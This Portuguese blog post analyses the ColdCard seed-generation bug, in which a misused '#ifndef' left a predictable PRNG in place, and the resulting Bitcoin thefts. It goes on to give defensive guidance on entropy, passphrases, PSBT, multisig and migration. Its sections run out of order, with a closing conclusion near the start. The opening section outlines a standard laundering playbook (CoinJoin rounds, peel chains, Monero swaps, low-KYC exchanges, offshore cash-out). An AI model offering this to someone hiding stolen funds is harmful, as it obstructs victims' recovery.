Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.

O que seria um mixer, e por que ele não foi usado

Um mixer (ou tumbler) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de “de onde veio”.

O modelo clássico é o CoinJoin: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como Wasabi Wallet e Samourai Wallet implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço Whirlpool, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.

Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como Bitcoin Fog e Helix funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.

No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:

1. O atacante ainda está decolando. Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.
2. O atacante não esperava tanta visibilidade. Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.
3. O atacante pode estar negociando uma recuperação. Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.

Como se esconde normalmente uma quantia dessas

Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:

1. CoinJoin em rodadas. O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.
2. Peel chain. Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.
3. Trocas instantâneas e bridges. Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.
4. Exchanges com KYC fraco ou nenhum. Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.
5. Fiat off-shore. O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.

Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.

Por que isso importa agora

O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.

Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser “onde está o dinheiro?” e passa a ser “quem conseguimos prender?”. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.

Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.

Conclusão

Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.

A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.

A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.

Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.

Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação recebeu 594,47723261 BTC em 501 outputs. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do Bitcoin Optech, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de 1.000 BTC.

O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.

Também não entre em pânico e digite suas 24 palavras no primeiro site que promete “verificar ColdCard”. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.

Quem precisa agir agora

A vulnerabilidade está na geração da seed. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.

Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado. As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.

Segundo o advisory da Coinkite e a análise independente da Block, trate como comprometida qualquer seed gerada nestas condições:

A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.

Há uma exceção importante: quem acrescentou pelo menos 50 jogadas justas, independentes e privadas de um dado durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por este bug isoladamente. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.

Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.

Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo. O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.

Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.

O bug: #ifndef não significa “se for verdadeiro”

O post-mortem técnico da Coinkite é uma leitura constrangedora.

Em março de 2021, o firmware trocou ckcc.rng_bytes() por ngu.random.bytes() durante a migração pro libNgU e pro libsecp256k1 usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.

O código de build definia:

#define MICROPY_HW_ENABLE_RNG (0)

Só que a guarda no libNgU verificava isto:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, rng_get() apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.

Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre “gerar nova wallet” e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.

No Mk3, a estimativa preliminar da Coinkite é de cerca de 40 bits de entropia efetiva, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente 72 bits. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.

Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas 2^40 entradas possíveis, no máximo existirão 2^40 hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.

Isso ficou no caminho mais importante do produto por mais de cinco anos.

Como uma reescrita de 120 arquivos chegou aqui

O Zach Herbert publicou uma timeline que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.

Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do “clone” e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.

No dia 1 de março veio o commit First pass w/ libNgU: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.

Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar libsecp256k1, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.

Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.

Isso foi cisne branco, não cisne negro

Já vi gente chamando o caso de “black swan”, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.

O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O #ifndef errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.

Um black swan é raro, surpreendente e só parece óbvio depois. Este era um white swan: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.

E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.

Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, reportaram responsavelmente uma falha crítica de multisig. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.

A política atual de responsible disclosure continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um “we are not here to make it easy for you”, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.

Zach Herbert também documentou ataques públicos de NVK contra a Foundation depois que ela usou código GPL da ColdCard: “pure clone”, “leeches” e “affinity scamming”. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.

Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.

Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.

Não, “IA quebrou o Bitcoin” coisa nenhuma

A Coinkite escreveu que, como o firmware era público, “temos que assumir” que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.

Depois, NVK publicou um pedido de desculpas em nome da Coinkite. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.

O problema é que ele terminou tentando transformar o desastre numa “realidade sóbria do novo paradigma de IA”, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.

Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele #ifndef, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.

Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, secp256k1, SHA-256, BIP39 ou Bitcoin.

O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.

IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.

O que uma wallet realmente guarda

Bitcoin não fica “dentro” da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.

Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva secp256k1. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.

Já expliquei essa base com mais calma em [Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1 e [Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2.

Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa BIP32 pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.

O BIP39 é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.

Doze ou 24 palavras é a pergunta errada

Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.

Mas “24 palavras” não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.

É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou rand() com um timestamp.

RNG, TRNG e fontes independentes

RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.

TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A Ledger explica seu processo como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.

Outros projetos preferem combinar fontes. A Trezor usa entropia do aparelho e do host. A BitBox02 documenta cinco fontes: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.

A palavra que interessa aqui é independência. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.

E “combinadas corretamente” carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.

Jogar dados não é tão simples

Cada jogada de um D6 ideal entrega log2(6), cerca de 2,585 bits. Por isso aparecem os números 50 jogadas pra 128 bits e 99 jogadas pra aproximadamente 256 bits. A documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência. O SeedSigner usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.

Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente “rola de novo” quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.

Se eu fosse gerar uma seed manual hoje, usaria dados de precisão, do tipo usado em cassino, de mais de um fabricante ou lote. A própria BitBox recomenda cinco dados casino-grade no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque “não misturou direito”.

Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras “mais aleatórias” ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.

Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, as palavras precisam reconstruir exatamente as mesmas chaves. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.

Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: move, don’t merge.

O BTC D00M Guy tem um tutorial visual em português sobre BIP39, dados e teste de restauração. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.

As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A documentação do SeedSigner recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.

Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.

Passphrase: outra wallet, não outra senha

No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string mnemonic concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra “senha incorreta”; abre outra wallet, normalmente vazia.

Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.

Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.

Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.

No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.

Sparrow, air gap e PSBT

O Sparrow é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.

É aí que entra o PSBT, padronizado no BIP174. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.

O fluxo single-sig air-gapped fica assim:

1. Sparrow monta a transação no computador online.
2. Você exporta o PSBT por QR ou microSD.
3. ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.
4. Você confere na tela do signer e assina.
5. Sparrow importa o PSBT assinado, finaliza e transmite.

Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.

E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.

Multisig 2-de-3: mais seguro e muito mais burocrático

Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, 2-de-3 multisig com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.

Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.

“Independentes” de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.

No Sparrow, o procedimento conceitual é:

1. Crie e faça backup de cada seed separadamente.
2. Exporte de cada signer o fingerprint, derivation path e xpub.
3. Crie uma wallet Multi Signature, normalmente Native SegWit, com policy 2-de-3.
4. Importe os três keystores e faça backup do output descriptor da wallet.
5. Registre quais signers correspondem a quais fingerprints.
6. Confira um endereço de recebimento em mais de um signer.
7. Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.

O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.

Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.

Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.

Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.

Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.

O guia de boas práticas do Sparrow recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.

Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe “trocar uma chave” mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.

Fulcrum resolve privacidade, não chave fraca

Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.

Mostrei a arquitetura e a instalação em Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.

Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.

Como eu faria a migração hoje

Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:

1. Faça o inventário. Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.
2. Considere a seed comprometida. Não a digite em software online e não aceite “checker” de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.
3. Escolha a arquitetura nova. Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.
4. Gere entropia nova. Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.
5. Faça backup antes de receber. Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.
6. Teste restauração. Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.
7. Verifique o endereço na tela. Não confie só no que Sparrow mostra no monitor do computador.
8. Mande um valor pequeno. Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.
9. Mova o restante logo depois. Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.
10. Mantenha o backup antigo marcado como comprometido. Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.

Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.

Então qual hardware wallet eu recomendo?

Hoje, nenhuma.

Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é muito difícil. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.

É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.

Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.

